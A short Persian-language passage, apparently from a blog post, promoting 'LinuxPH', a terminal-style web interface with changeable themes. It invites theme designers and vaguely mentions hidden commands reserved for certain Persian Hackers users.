تغییر داد (مثل اسکین ها در مدیا پلیر) در صورتی که تمایل دارید قالبی را برای LinuxPH طراحی کنید حتما با من تماس بگیرید. در انتها اضافه می کنم که LinuxPH دارای یکسری دستورات مخفی می باشد که واقعا قابلیت های جالبی را روی وب ایجاد کرده است که تنها قابل استفاده برای کاربران خاص پرشین هکرز می باشد در آینده بیشتر با این دستورات آشنا خواهید شد. به امید روزی که وب سایت های ایرانی و یا فارسی زبان نمونه ی خارجی نداشته باشند و همواره با ایده های جدید که بر روی آنها اجرا می شود جهانیان را حیرت زده کنند!